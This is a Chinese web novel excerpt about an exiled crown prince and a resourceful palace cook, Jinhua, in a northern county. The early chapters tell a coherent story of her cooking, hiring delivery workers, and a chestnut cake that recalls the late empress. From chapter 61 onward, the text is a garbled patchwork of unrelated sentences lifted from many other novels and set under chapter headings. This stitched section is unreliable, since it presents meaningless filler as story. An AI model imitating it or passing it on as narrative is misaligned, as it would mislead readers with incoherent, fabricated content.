“你以为冲进禁宫就能救下殿下吗,你的冲动只会害死他!把殿下安排的每一件事做好,才是真正的辅佐他,护住他!”
“若是殿下得知你今日这般的发疯胡闹,枉费了这些年在你身上花的心血,恐怕他会比此刻更加寒心!”
她可以什么都不要,只要他能活着!
晓誉攥紧了手中的半枚玉牌,那是她第一次领兵出征陆卿尘送给她保平安的。
堂堂大乾太子骑战马出城,只为为她践行,他沉声说:“母后生前一直想给他生一位妹妹作伴,可惜终未能如愿。这枚玉牌还是他出生时皇后娘娘亲自设计,一分为二,如今他将另一半送给她,她便是她的妹妹,他的是大乾太子,定能护佑她平安归来。”
堂堂大乾太子,竟说视她为亲妹,无限荣宠,内心感动,以非言语可形容。
自此以后,唯有以命相报,护他平安!
江南水患,抢险救灾,晓誉跳水上树,堪比男儿。
足足五十日有余,水患得以控制住,两位师兄告诉她,他们明日可以北上,去见殿下。
晓誉面上随无表情,可内心早已风起云涌。
不枉她出生入死多日,她终于可以去见他!
北上的路上,两位师兄才断断续续地向她透露,殿下被打板子,下了死手,如今腿是废了。
晓誉的心,揪得生疼,酸涩难忍!
她自小视为兄长的殿下……该死!全都该死!
可她终是咽下内心酸涩,隐忍着说:“只要活着就好……”
活着,她便为他便寻天下名医,终会医好她!
若是医不好,她便做他的腿,背着他刀山火海,荆棘漫布,也敢去闯!
青龙、白首见她这副模样,也是红了眼。
青龙拍了拍晓誉的肩膀,缓缓道:“殿下宁愿自己受苦,也不愿将我们的牵扯进来,他曾说,终有一日沉冤的雪,大仇得报,他希望你能自在的活着,看尽世间繁华。”
晓誉低头不语,可眼睛却早已猩红,此刻她如同一头被禁锢的狮子,只等着冲出牢笼,将那些害徐家人,害殿下的人啃食!
徐家血海深仇未报,殿下如今又如此,她如何去自在的活着?
不过……殿下的心意,她绝不违背!
第一卷 第58章 做媒
陆卿尘和锦婳驾着马车进了离县,已经是日暮时分。
小小的村落炊烟升起,显得很是温馨,与刚刚军营里严肃的气氛形成了鲜明的对比。
马车上,锦婳不禁感慨:“我不喜欢战争,若是一直能太太平平的该多好。”
陆卿尘驾着马车,眉头微皱,他自然知道,若是起了战事,最苦的莫过于老百姓,便淡淡道:“日后会越来越好的。”
马车进了巷子,远远地就看见谢威在家门口翘脚等待。
看见陆卿尘带着锦婳回来了,谢威隔得老远就跑过来了,有些急切地说:“主子!您怎么自己就驾车走了,这路上要是出了点什么事,您还让不让属下活了!”
陆卿尘倒是不以为意,将马车缰绳递到谢威手里道:“锦婳要骑马,吾正好有事去营地一趟,也算是一举两得。”
陆卿尘和锦婳双双下了马车,谢威去院子里拴马,心中暗自叨咕着,主子这般的宠锦婳,恐怕以后要把锦婳当做第二个主子看待了。
锦婳今日有些乏累了,晚上便简单做些,几天没去市集,家里只有鸡蛋和做卤货剩的蔬菜了。
锦婳算了算人头,今日申家兄弟说晚上要来商量山上生意的事,那就是五个人的晚饭。
先做一个糖醋荷包蛋,这是锦婳信手拈来,再简单不过的菜。
先调糖醋汁,一勺清醋、一勺白糖、一勺盐,再加上一些清水和些许淀粉。
荷包蛋锦婳按照人头煎了五个,双面煎蛋,煎得两面金黄,快煎熟时倒入调好的料汁,盖上锅盖稍稍煮上一会儿,荷包蛋入了味儿再大火收汁,盛出装盘。
锦婳又将茄子、土豆和辣椒切成块,裹上淀粉下锅油炸,待炸得软烂再捞出,用葱姜蒜炝锅,再倒入炸好的菜,撒上些盐爆炒,老百姓管这道菜叫得三鲜,许是饿了,锦婳尝上一口,果然是鲜!
待锦婳做好菜,申家兄弟也进了门,两人还带了自己在山上打的野鸡。
申虎好爽地道:“给!妹子!今晚给你加菜!”
锦婳看着血淋淋的野鸡有些不敢伸手接,躲在谢威身后,只露出一个小脑袋。
陆卿尘靠在炕上看了嘴唇微翘,这样的锦婳似乎有些可爱。
谢威伸手接过野鸡,也是笑着问锦婳:“你只管告诉我这野鸡如何处理便是!”
锦婳后退了两步,眉头微皱道:“先去烧开水退了毛,再把内脏掏干净,剩下的我来做就是了。”
这下换申家兄弟和谢威去小厨房里忙了,锦婳回头问陆卿尘:“你今晚想喝参鸡汤还是窑鸡?”
陆卿尘一向喜食清淡,便淡淡道:“参鸡汤即可。”
如今做参鸡汤自然不能像在宫里时那般的精致,家里材料也不多,锦婳仅在鸡腹里塞了糯米和红枣,锅里扔几颗八角、花椒、桂皮,再撒上一把盐,把处理好的鸡放入清水中小火炖煮。
锦婳炖鸡的功夫,听见有人敲门声,不一会儿便见谢威来厨房来寻她,说是张家小公子找。
锦婳嘱咐谢威看好炖鸡,别干了锅,自己出了厨房。
张家小公子见锦婳出来了,笑眯眯地递上一份食盒道:“这是母亲亲手做的板栗饼,板栗是离县的特产,冬日里板栗蒸熟碾碎、掺上糖,蒸熟和陷,烙成小饼最是好吃!”
“那日你来家里,母亲与你投缘,见你爱吃点心,便让我拿来给你尝尝!”
锦婳笑着接过食盒道:“有劳夫人惦记着,外边冷,张公子进屋坐会,暖和暖和吧!正好家里要开饭了,不如吃了再走,也可陪兄长们聊聊天!”
张澈也眉眼眯笑道:“锦婳妹妹叫我张澈,或澈哥即可,公子公子的反倒叫生分了。”
“母亲做好了饭,还等着我回去吃,今日就不进屋了,改日再来与你兄长聊天。”
锦婳眼珠一转,让张澈稍等片刻,拿着食盒转身便进了厨房。
不一会儿,锦婳拿着一个大碗出来,塞到张澈手里。
锦婳笑嘻嘻地说道:“张家哥哥,这是我前几日在家无事炸的糯米枣,很是香甜可口,回家吃时只需再在油锅里滚上一圈,炸得外表酥脆,里面软烂,好吃得很!”
“这几日蛮夷来县里捣乱,家里没出集市,所以没做卤货,哪日做了,便送去府上一些,给大人下酒吃!”
张澈手里捧着一大碗糯米枣,心里想着锦婳这丫头实在是懂事,家里兄长有腿疾,家里全靠她支撑着。
又想想家里的小妹,还在母亲怀里撒着娇,应是让她对与锦婳学学,将来嫁人也好当起一个家。
张澈谢过锦婳:“妹妹太过客气了,这碗枣子我便端回去,母亲和妹妹一定爱吃!”
“妹妹哪日得了空,就来家里与母亲、妹妹聊聊天!她们都喜欢你喜欢得紧!”
锦婳笑着应了下来,送走了张澈,小厨房的参鸡汤也炖好了。
锦婳盛出参鸡汤,就着锅气把先前的两个菜也热了热,便端菜上桌。
陆卿尘虽表面在炕上坐着书,但也不时瞥着院子里的锦婳和张澈,两人聊得这般的热络,想来锦婳该是看上了张家这位小公子。
张大人清正廉洁,为保一方百姓安康尽心竭力。
张家小公子自然受张大人耳濡目染,是个好样的。
看那张澈人长得白净清秀,人的性格也爽快,是个不错的少年,配得上锦婳。
锦婳这丫头,再大大该是不愁嫁的,倒时不只张澈,恐怕要求娶锦婳这丫头的都要排到二里地之外了。
锦婳给每人盛了一碗糙米饭,端进了屋,拖鞋上炕吃饭。
申虎扒口饭打趣道:“锦婳妹子该不会是看上那位张家小公子了吧,刚才看你与他聊得热络,若是有心,我便去张府为你说媒!”
锦婳面上却没有半点儿女儿家的娇羞,而是盛了碗鸡汤放下陆卿尘面前对着申虎道:“张家小公子是县太爷的独子,我是什么?大字不识一个,恐怕高攀不起,当日若是人家能看上我,总是好的。”
第一卷 第59章 供货
谢威也跟着掺和道:“我家妹子也不是差的,等明年十八了,若妹子有这个心,哥去给你上门说和说和。”
锦婳摇摇头:“不必了,我如今只一心想赚钱,我的酒楼还没开起来呢!等明年过了年,我还要买块地,天暖和了,种些菜,再养些猪,这样卤货的成本就可降低六七成。”
谢威瞥了锦婳一眼:“小姑娘家家的,成天开口银子闭口钱的,还是找个好人家嫁了来得实在。”
锦婳听了这话心里却是不服,她可不想重复娘亲的命运,娘亲死前是怎样拼着最后一口气,死死拉着她的手,咬牙切齿地叮嘱她,万万不可把自己的一生托付给一个男人身上!
锦婳不再搭话,而是转面问陆卿尘:“鸡汤可好喝?”
陆卿尘拿起勺子喝了一口汤,吃了一口肉,眉毛微动:“这鸡腹里放了糯米?”
锦婳点头道:“这道本来该叫人参鸡的,若是在宫里,鸡腹里应放一些人参、鹿茸、枸杞、灵芝。”
“如今家里没有那些珍贵的东西,只放了些糯米和红枣,不过我想口感倒也清淡,糯米软糯、红枣香甜,也可饱腹。”
陆卿尘吃了一口糯米夹杂着红枣,果然如锦婳所说的那般软糯香甜,本来食欲不佳,胃口一下子被调了上来。
锦婳又夹了一块糖醋荷包蛋放在陆卿尘的饭碗里:“你尝尝这个煎蛋,我调了料汁,酸甜爽口,你不爱吃油腻的肉菜,这个煎蛋应该能吃。”
陆卿尘倒也肯听锦婳的话,放在嘴里咬了一口,果然是酸酸甜甜,鸡蛋煎得嫩嫩的,这道菜若是放在酒楼里,应是能做招牌菜的。
申家兄弟和谢威一直在旁看着两人,三人心有灵犀地对视了一眼,申虎阴阳怪气道:“平日里都是哥哥的叫着,如今谁是亲的,谁是疏的,一看便知!”
锦婳见申虎假意吃醋的样子,“噗呲”一声笑了出来,夹了一只鸡腿放在申虎碗里道:“鸡腿最有营养,申虎大哥平日里最辛苦,鸡腿当然给大哥吃!”
“不过,可不能白吃,小妹有事要你帮忙。”锦婳卖了个关子。
申虎夹起鸡腿刚享受地放进嘴里,听见锦婳这么说,立刻吐了出来,有些慌张地说:“锦婳妹子,你先说什么忙,不然这鸡腿我可吃不下!”
谢威在一边嫌弃的看着申虎,吃进嘴的东西也能吐出来,这人可真够恶心的!
锦婳认真地说道:“两位哥哥在山上可认识什么老实本分、又肯干的人?我想着明年开春还要种菜、养猪,到时可有得忙了,这卤货就不想摆摊去卖了。”
“之前在集市上卖卤货时也有几个酒楼的掌柜的想收,当时想着自己每日卖都不够,更是供应不上酒楼了。”
“可如今不同了,若是有人能帮着去酒楼送货,每日也可多赚些银两。”
谢威第一个双手赞成!他每日要砍柴,还要赶一个时辰的车去集市,还要搬运卤货,若是雇人给酒楼送货,他可少了好多活!
“锦婳这个想法很不错!过阵子,主子就要忙起来了,也顾不上陪你去集上卖卤货了,若是能卖给酒楼里,那自然是好的!”
申虎想了想,看着弟弟申豹问道:“那老高家的兄弟俩,依你看可还能干这活计?”
申豹倒是充满信心:“那自然能,若说送货自然比山上的活轻松,那兄弟俩又是话不多说人,本分得很,如今只看锦婳妹子能给多少银子了。”
锦婳算了算:“镇上三家酒楼,每日上午出发,送了货下午就能回了,就半天的活,山上的活我之前听两位哥哥说是一天给十个铜板,那我也出十个铜板,只是就不能管饭了。”
“一来是管饭就不合适了,活并不重。二来是家里吃饭的人本就多,我还有别的活要干,实在忙不过来。”
申虎拍胸脯道:“妹子厚道!明日我便去找高家兄弟去说!”
“妹子,这鸡腿我能吃了吧?”申虎试探着问。
锦婳眉眼弯弯,又给申虎夹了一块荷包蛋,笑着说:“这鸡腿本就是给哥哥的,多吃点,明日就要开始去山上卖饭了!”
第二日,申家兄弟卖完了卤肉饭,就领着高岭和高达来见锦婳。
锦婳正巧做完了晚饭,所幸对着高家兄弟招手:“两位大哥,来得巧了,正好坐下一起吃点。”
两人也的确实在,并非假惺惺的人,应了后,就坐在申家兄弟那一侧。
锦婳试探着问:“两位大哥,山上的活可觉得累?”
高岭道:“自然累,可自小干苦力都惯了,也不觉得累了。”
锦婳又问:“不知申家两位哥哥同你们说得可清楚,每日的活倒是不重,只送一次货到县里,可要会称重,把卖的银子拿回来。”
“不知你们可会算帐?”
那高达点头道:“我会看称,称重。哥哥会算帐,以前秋收了家里卖粮食,都是我去看称,哥哥算帐的。”
高岭也点头:“即便一日两日干得慢了些,日后熟了也会好起来,还请东家放心!”
东家!锦婳听了心里一喜,自小她就是被压迫的那一个,进了宫后更是举步维艰,动辄非打即骂,没成想跟着陆卿尘流放到了这北境,自己竟也成了东家!
锦婳笑得眉眼弯弯地说:“你二人我看着顺眼,就先干着,收上来的银钱交给这位记账,以后工钱也跟他领就是。”
说完锦婳指了指陆卿尘,陆卿尘手里正翻着书,听见锦婳提到了自己,便抬眼看了看,这两人长得还算面善,一看就是农村结实能干的汉子,申家兄弟这两个人寻得还行。
不过这锦婳……和自己是越来越不见外了,真把他当成账房先生了,这丫头真是个纯纯的财迷,他活了这些年,还真没见过这么贪财、爱财的人,恨不得把身边能利用上的人都利用上才算罢休。
第一卷 第60章 点心
晚上,吃完饭,三人闲着无事,便坐在房檐下看星星。
谢威见锦婳心情还算不错,便问道:“那张家小公子人品属实不错,长得也好。张大人家门风清廉,张夫人和张小妹又喜欢你,嫁过去的日子应是好过的,你真的不动心?”
锦婳看着漫天繁星,淡淡道:“小时候,娘亲曾给我订过一门娃娃亲,是隔壁婶娘家的哥哥,我们自小一起长大,小时候我便想着,长大了是要嫁给他的。”
“后来娘亲病死了,我整日受继母虐待,食不果腹,婶娘家的哥哥经常偷偷给我些吃食,再加上上街要饭,我才活了下来。”
“再后来入了宫,托放出宫的同乡打探,才知道家乡糟了蝗灾,大部分人都饿死了,我家里人也都人去屋空,隔壁婶娘家的人也不知逃去了何处。”
“我想着,若是能寻到他,应是还嫁他的,那是我娘和婶娘定下的亲事,人不能言而无信吧。”
谢威却不这么认为,摇摇头道:“若是那人被你寻到,估摸着也是同高家兄弟一样的粗汉子,能有什么大出息?”
“在哥心里,你是配张澈那小子都绰绰有余的,怎么能配一个农家糙汉子!”
锦婳心里知道,谢威这是真的把自己当做一家人,当做妹子了,这都开始关心她的终身大事了。
锦婳眉眼弯弯地说:“我就算嫁给一个庄稼汉,也是有办法把日子过好的。”
“再说,我还小呢,嫁人的事不急。”
谢威一撇嘴,明年都十八了,还小呢!
陆卿尘也看着漫天星星,听着旁边两人有一句没一句地聊着,只觉得心里安静得很。
锦婳转头问陆卿尘和谢威:“你们二人要不要泡壶茶来喝,张家小公子前日送来的板栗饼还没吃,正好可以当做茶点。”
陆卿尘只淡淡道了声:“好。”
谢威自然是最高兴的,自打他出宫流放,就再没吃过点心了,还记得在太子宫里时,每日都是点心茶水不断的。
陆卿尘和谢威最爱吃的都是梅花形状的枣泥酥,甜而不腻,酥皮口感好,入口即化,如今在北境,有点心吃就不错了,没得挑。
锦婳转身进屋去烧热水,不一会,锦婳提了一个破口的茶壶,三个旧茶杯,还有一个食盒出来了。
这套茶具还是锦婳从冷宫里偷偷带出来的,如今条件艰苦,只能忍着些。等春天了,她计划着盖新房,要用不少钱,虽然现在每日都有进账,还是要省着点用的,日后用钱的地方多的是。
锦婳给门口坐着的两个人各倒了一杯茶,又把食盒打开,推到两人面前。
陆卿尘和谢威各拿了一块点心,看来是晚饭没怎么吃饱,锦婳心想,日后有空时该多给他两人做些点心吃食。
锦婳也尝了一口板栗饼,酥得掉渣!看来张夫人做时是用了十足十的耐心了,内陷里的板栗处理得细腻滑爽,吃不出一点板栗的颗粒感。
这板栗饼看着干硬,实际吃起来却一点也不噎人,入口即化,香甜极了。若是刚烙出来时,定是更好吃的!
锦婳吃得高兴,看了眼陆卿尘和谢威,谢威吃得狼吞虎咽,这一会儿已经吃了三五个了,好像刚才的晚饭没吃一样。
陆卿尘却拿着板栗饼端详了一会儿,小小咬了一口,锦婳只当他是胃口小,毕竟平日里他吃饭也是不多的。
可板栗饼刚刚入口,陆卿尘便皱了眉,这感觉……莫名的熟悉。
陆卿尘是没吃过板栗饼的,京城也没有板栗,板栗只产在北境地带。
若是运去京城,千里迢迢,路上大半都要发霉,若是什么值钱的吃食也好,偏偏板栗又是最便宜的东西,北境的山上随处可以捡到,所以根本就没人做板栗的生意,更别提运到京城里售卖了。
可是陆卿尘手中的板栗饼入口之后,感觉却异常的熟悉,仿佛真的上辈子就吃过了一般。
锦婳只以为是陆卿尘是不喜欢吃甜的点心,便道:“若是你觉得过甜,我哪日去张家同张夫人学学,给你做些不甜的吃。”
陆卿尘却若有所思地摇摇头,拿着手中的板栗饼端详着道:“这板栗饼很好,小时候母后亲手做的糕点,就是这个味道。”
谢威一开始是有些饿了的,吃得狼吞虎咽,只觉得甜,哪里顾得上什么味道。
每日里只吃锦婳做的饭菜,也没有水果、茶点,嘴里一点味道都没有。
听陆卿尘这么说,谢威立刻停了嘴,也试着咬了一小口,然后,谢威满脸震惊的瞪大眼睛缓缓回头看向陆卿尘!
这味道!这口感!他一辈子难忘!
他记得初入风坤宫时,皇后娘娘见他爱吃点心,便命碧痕姑姑往他房里送了好几食盒的点心。
他最喜欢吃皇后娘娘和碧痕姑姑亲手做的点心,比御膳房的点心来得扎实、用心。
每次他想娘亲时,只有这股味道能安抚他内心的情绪。
就算是后来他大了,皇后娘娘闲暇时给太子殿下准备糕点,都不忘给他做上几盒。
后来,皇后娘娘仙逝,碧痕姑姑嫁去了北境,他便再没吃过这股味道。
宫里的点心花样再多,再香甜味美,也不是皇后亲手做的了。
每次他去太子宫里,看见桌上摆的各式各样的点心,便是拿起端详片刻,却再不入口。
如今这味道!这酥皮的做法!
他真是糊涂!怎么会没吃出来!
难不成皇后娘娘没死?这念头刚一生出,他便苦笑了一下,当年是太子殿下与他还有两位师兄亲自扶陵,亲眼看着皇后娘娘下葬的。
谢威突然一惊,他摇着锦婳的肩膀激动地问:“刚刚你说这糕点是谁做的?!”
锦婳本来开心地吃着点心喝着热茶,一下子被面前这两人搞懵了,她扒拉开谢威的手臂有些不悦地说:“你们两人有病吧,不爱吃就都留给我吃,这是人家张家夫人亲手做的,不要辜负了人家的心意!”
第一卷 第61章 调查
“死了挺好,这样一来,老板也少了一个对手”身后的叶舒心突然说了一句。
他大步走出大厅,暗自攥拳,自己正好借此机会,与皇兄商量计策。
温桓还记得自己来到这边之后,第一次同他见面时候的样子。那时他面对自己的时候,也是有些冷冷的。
自己倒好,穿越直接负债千亿,几乎是欠整个江城市所有银行的钱。
要是自己主动去面试,对薪资方面要求也不高,肯定容易进去些。
一见林易出手就是二两银子,那摊主眼露贪色,冲着旁边几人使了使眼色。
夜思明轻笑一声,盖住了眼罩,将“雪耻”剑放回剑匣中,走回了舱室。
说完陈禅留下一缕真气到月花身上,以防她修炼时不慎走火入魔。
蜀地修行者的法门,有青城山这座在神州都占据重要地位的大山,定然多多少少受到影响。
傅青圃与傅蔓蕊稍稍安了下心,压制住心中前往昆仑寻找妖尊的想法。
左手的状况稍好,却也好不到哪里去,依然是费了九牛二虎之力,当枪刺脱离竹身时,白结巴差点哭了。
说完不在理会,身后盘坐的墨不成身上,笼着这一层淡淡的火光,一盏残灯在他眉心若隐若现。
佛经越念越多,叶少轩似乎来到了一个诸佛的世界,那儿只有清净,通往的是永生的极乐,到处都是佛灯佳音,惠普的慈悲,更似人间的天堂。
洗漱完毕后,李子孝再走进屋里时古菲菲已经坐在了饭桌前,微笑的看着李子孝。
左脚迈进,一股狂猛威压扑来,沈君的身体周围元力环绕,才化解了狂猛威压,里面还有几股怪异的气息,赶紧离开了。
他只知道,不管是梦境还是现实,他将永远在她身边,不离,不弃。那是他能许出的最重的承诺,他和千期月一样,都不是个喜欢违背誓言的人。
杨嘉画很明显的察觉到怀里的人身形一滞,他安慰性的拍拍她的后背,把她搂得更紧。这种事总会面对,他会在她身边,他会是她的铠甲,所以他不想她退缩,哪怕是为了他们,他也不会退缩。
那疯狂燃烧的痛苦火焰化为凄厉嘶喊的疼痛和毫无希望的绝望,像坠仙者、难解心魔的修道者、脱离不了凡尘七情六欲一心想清心寡欲、不被世俗的一切迷惑的凡人。
知道吗?三先子把死人办的风风光光,也就把活人办死了。这个浑货,老爷弄是守不住了,没有杀神的老爷弄就象被抽去了脊骨的蛇一样。
乌老大,三十六洞洞主,七十二岛岛主,在此聚会,可是为了那个青山童姥?
“哈哈,随便吧,你们两先把这里给我收拾好,收拾干净后去前面找我。孩子们。咱们去地下室。”随后带着阿宝他们去了地下室,李可则去了前院。
本来在他们看来,明凤或许是虚张声势而已,或者说即使有云家的背景,也是云家一个无足轻重的人物,或者是一个云家的纨绔子弟而已。
随即,洪七公闪身一躲,把叶青的降龙十八掌给避了过去,不过却花费了众多功力,叶青还没有尽全力施展降龙十八掌呢,不然洪七公连出声的机会都没有。
在两人惊骇和不可置信的注视之下,宁凡那修长的手掌轻轻的一捏。
水水想到李老师中午那眼神,该不会自己学了剑舞,那天也要来一个吧?因为李老师也送自己服装了,有可能是如此。哈哈,不过两位老师开心就好。
“好,那我就等吃就好,感觉应该会胖。”水水低头捏了捏自己的腰部,感觉瘦了点。
“我不知道自己居然无形中成了你手中的一枚棋子!”任凡无所谓的一笑。
杨淑妃也看见了酒店墙上贴着的几幅画,就走近,仔仔细细地观瞧。
娃娃们也很认真。但是娃娃,毕竟是娃娃,不是一般的嘎骨,而是特别的嘎骨,也是叫人不可理喻。
如果不是他鬼迷了心窍,他现在还和温柔的杏儿日子过的好好的。四叔飞黄腾达做了武进伯,必定会关照他们,到时谋个一官半职,可不比现在要好上许多?
“真聪明!”她的手指在他的额头轻轻一弹,坐到他的身边,脸上虽然还是很红,但是已经没有了那种异样的病态感,她打开腕表信息,将一堆的东西放在他的面前。
卡斯切的人们还是挺热情的,情绪高涨,哪怕比赛还未开始,他们早就在观众席上等候了。
“暖暖,关于江珠的事,你可不能心软,她毕竟是梁臻的妾,梁臻要讨走也是理所应当。”程子境严肃的说,惹得李隐诧异的看了他两眼。没想到当初那个只凭力气的傻大个而今也长了脑子。
柴银杏哪里知道他跑去丁字巷想要杀人,只当他负气出去又把自己弄病了又负气回来,俨然和他大儿子陈清也相差无几了,越想就越气,对陈虎越发没有好脸,夫妻吵架成了家常便饭。
“住嘴,你是主子我是主子,我就要见少爷!”不说别的,平时江珠惯于对下人发火,所以这番姿态倒属正常。
花妞嗷呜的叫了一声,特别恼怒似的。肉垫爪子拍在了宋二笙手背上。
迷梦看出她的打算,就报了一个名称,“国内应该没有,你找你外国的朋友邮寄过来吧”这是她给三千的。
见到街道摊位被搅得乱七八糟,水果杂货满地乱滚,行人东歪西斜,惨叫连连,年轻人竟然哈哈大笑,乐不可支。
第一卷 第62章 宫里来人
“那你为什么要阻止你阿翁,不怕影响了阿母的救治吗?”她问道。
阳光从咖啡馆的玻璃处斜射进室内,空气中的尘埃在光柱里上下漂浮。
至于他的孩子,就是因为之前周建华和他老婆长时间忙于工作,没有照顾才生出了叛逆,但如今受到了很好的照顾,就没有之前那种叛逆了。
虽然叶无极及时抓住了方向盘,但巨大的力道还是让车子发生了侧翻。
对于方源刚才所指出的那几处经脉,他并没有感觉到有什么出奇的地方。
他虽然没直说,但这昏愦二字已经到了嘴边,任谁都看得清清楚楚。
十三局应该会相信韩萧的情报,至于他们会不会告诉海夏人,海夏人又会不会信这些情报,那就不关自己的事了。
林少华等人在迎宾的接待下,缓缓进入现场,寻找到属于自己的座位之后。
主动效果,直死:开启后,可以看到目标死线,攻击将附加“重度损伤”效果,击中死线的攻击将进行一次即死判定。
这点蓝若兮倒是没有胡说,王神医在洪州的口碑还是有目共睹的。
于是唐会长就给自己倒满酒,然后先分别敬了陈平和江楠一人一杯。
消散云雾之中,忽然涌出无数尖锐剑气,仿佛一条咆哮怒龙,夹带着无比凌厉的气势,朝风系巨龙绞杀过去,在风系巨龙的瞳孔中不断放大,最前面的紫金灵竹祭炼而成的法剑,眼看就要刺入了风系巨龙眼中。
没让她失望的是,唐信一手搂着她的腰,一手抚在她清美的脸颊上,然后柔情似水地吻住她的香唇。
再加上石像鬼已经被他派出去攻打眼前的防线,瘟疫投石车又大多留在了银月城下牵制联军的兵力,一时间阿尔萨斯的手头上也没有能有效攻击战舰的兵种,所以阿尔萨斯干脆任由那些他眼中的蝼蚁闹腾好了。
听着大笑声,感受着其中的那股悲愤,一股压抑多年的无名怒火,一股绝望到极致的悲凉,唯一没有的,却是一丝一毫的笑意。看着眼前这个笑至癫狂的鹤发老人,他没有阻止,只是没来由的,心头一阵难受。
她不像是三圣宫的修士,也不是猎妖师,应该是一名散修。其修为跟凌风一样,是一名筑基大圆满修士。
这就是自我进化程序的强大之处,能够不断修改自身的不足之处,使自身逐渐趋于完美,达到进化的目的。
慕容潇眼中光芒一闪,难怪他手中掌握着这么多资料,凭借他的实力,即使不是领导人,也属于决策层吧。
至于四点钟,这是不早不晚的时间,在接近下班的时候给陈平打电话,既能彰显自己的领导地位,又可以打以为今天就这样过去的陈平一个措手不及。
科研工作的过程是枯燥乏味,甚至是折磨人的,令人感受到了煎熬。
在临时搭建的台子上,光复军战士将脸色吓白了的合肥知府,巡防营管带等合肥清廷关全部押上台来。
话说我们学校不是啥重点,学生也少,但是校园气氛很好,没有打架的,不存在欺负人的,除了学习任务抓的紧了一点,各个方面都还可以。
不过谢一菲才不管别人怎么想,目光再一次落在了孟雅惠的手上,故作不经意的说道。
他话没说完,我已经走上这条布满荆棘和鲜血的道路,当我走到马方鸣和李加贺面前,我怀中的就再也不是卫遥,而是一支颜色的枪。
突然,一只黑猫从暗处窜出来,尾巴挺立,浑身炸毛,发出凶狠的叫声,正拦在龙尧面前,下一刻朝他猛扑过去。
不过周泽楷倒是有几分纳闷,之前总是跟他悄悄讲话的封雪彤,怎么忽然不跟他说话了?
说着,周泽楷拿出了手机,这是他来之后跟踪章云晴和章铭瑄拍摄的,怎么说呢?因为兄妹的身份特别具有掩护感,一般人都不会想到这些,所以周泽楷拍摄这些东西简直是轻而易举。
破闻太师的领域,虽然艰难,但有了国师的前车之鉴,她还是坚持了下来。
只是刘方氏没有想到白家这么厉害,直接断了她儿子的青云路。大哥方夫子也与她断绝了关系,不肯帮忙。若不然以方夫子在金华府的身份地位,刘华的名字也不会这么容易被除去。
高二二班班主任一向是在学校里面比较厉害的,只是在面对周泽楷的时候,却往往用的是同龄人的口气,毕竟周泽楷这种并不是普通的学生,几乎相当于天才了,天才的思考,总是跟凡人有些不同的。
“哎~这是哪里话,你们是真的让我看了一出好戏呀!”徐清风慈祥的笑道。
第一卷 第63章 凶悍
李云山本就是军人,受不起别人的污蔑,声音很大,掷地有声,旁边跟着军队一起走的百姓都投来了疑问的目光。
而顾尊手里的红衣鬼,已经虚弱的一塌糊涂,挣扎的动作也减弱了许多。
戚黛吸了吸鼻子,又想哭了,她的咳嗽早上起来好了些,但还是没好全,可是不知怎的,她一点也不想在徐远山面前表现出病弱来。
我觉得自己好可怕,陈英捷在我心里,一直都是好姐妹的角色,我们就算躺在一张床上,都是谁也不会乱想的那种好闺蜜。
没了往日的嬉皮笑脸,夏樱似乎能意识到,他这次是要与她诀别的。
苏牧也清楚,唯独只有他返回苏家,才可能见到这个玉佩,离开苏家时,他秘密收到了一封信,就是秋虹海棠的。
夏樱笑的前仰后合,花枝乱颤,只有她自己知道,此时自己的心有多么难受,难受的,她好想大哭一场,那时的他们亲密的好像一家人一样,她对他的信任的依赖超乎寻常,可他怎么对她的?
“不用了,再远也比不上到春城吧。”何颖卿摇了摇头,笑着回答道。
回归之后袁洪没有进行修养,而是一直再关注着薛定远,毕竟自己下了注,许了因果,总要知道值不值,可接下来残酷的考验让他彻底震惊了。
晏宿递给她,白鹿将他手机里的内存卡拿出来,将自己手中的安上。
话落瞪大了眼,“阿娘,你不会是因为这事,才来江源看我的吧。
她们在一起的时候,到底发生了什么?之前还水火不容,怎的突然就是朋友?真的是太诡异了。
时间一晃就是两日,杨清源传讯回神都,请神侯府和六扇门一起调查神秘组织。
在秘境里的时候,黄晓烟的最后一魄融合完毕,但是秘境并没有结束。
夫妻两人的关系也是恩爱和睦,平日里也没有去过什么奇怪的地方,又或者做过什么坏事。
他踉踉跄跄倒退好多步,一屁股坐在了地上,竟然两眼翻白晕过去了。
他们的聊天记录并不多,自从加上微信以来他们其实一共也没有正经聊过几次天,一方面是因为他们本来就经常呆在一起,另一方面,他们也都不是太爱聊天的人。
红装新娘:“官人,我想就这样一直抱着你……我等了你那么久……你不是说,若有来生,必不相忘!若有来生,定不负我吗?
四周的声音似乎在朝着他远去,他仿佛还能感觉到脸上的余温与柔软。
马奎尔露出狡黠的微笑,掀开自己的底牌,一对5,能够和公牌组成4条。
纸团再一次被李二揉烂,准备扔出时被长孙拦下,笑着展开图纸。
秦轩没有等徐凤开口,就慢悠悠的上前一步,嘴角勾起来了一抹淡淡的笑容。
裴氏将声音压得很低,此时已经不能说是呵斥魏玖,而是在劝说这个晚辈,而且此时白玉宫敢找魏玖掰扯这件事的只有河间王妃和裴氏,鄂国公府的两位黑白夫人和翼国公府的夫人敢教训教训魏玖,可惜她们很少来白玉宫。
见此,魏玖皱眉头,这些家伙应该是没给秦琼的颜面,不愿意去改写军中的事情,秦琼给魏玖投去了一个眼神,他属实不是威胁人那块料。
泰勒带球到前场,在李哲提醒下,直接将球给到戈登,顺带做掩护。
李哲抬头看了一眼塞隆,塞隆冲他点点头,意思很明确:友谊归友谊,商业归商业。
想到了这里,莫局就狠狠的瞪了一眼旁边的张有德,都是这个张有德谎报军情。
曾经有新闻报道,拉斯维加斯一家赌场,以大本玩21点涉嫌记牌微友将他从赌场赶出去,而大本被赶出去的时候已经从赌场赢到50万美元。
曹操此刻若是在德阳殿上,听了董卓的话,必然是惊的面无人色。
比如说,之前林动就是实力很强,但是为人好,也低调,她才会对林动有异样情愫。
而且,她一直都是一个遵纪守法的好市民,是一个祖国无上法律的守护者。
见到萧龙的脸色变得不好看起来,好像遇到了什么难事一般,云韵没有了之前的傲娇,关心地问道。
姜浩然想了想也觉得鬼仓等人知道神武宗的可能性并不大,毕竟神武宗可是在大荒世界,而鬼仓等人一直生活在地球,两者产生交集的可能性微乎其微。
唐纳德狠铁不成钢的说道,摆了摆手,示意墨菲先退到队伍中去,而此时,赫威尔正朝这边走来,看那怒气冲天的模样,八成是来兴师问罪的。
而这一点,是他最不想要让世人知道的,或者说不想让泡沫知道的。
雄芯通讯波正在持续扩散,虽然蔷薇和赵信因为清剿饕餮,雄芯通讯还不能够联系到的,但张尘早在两人身上留下了心灵粒子。
可是得到的回答依然令人失望,城中几乎没有谁知道那一位此时在哪里。就是巫师师徒和卫都找不到了,连一点有用的消息都没有。
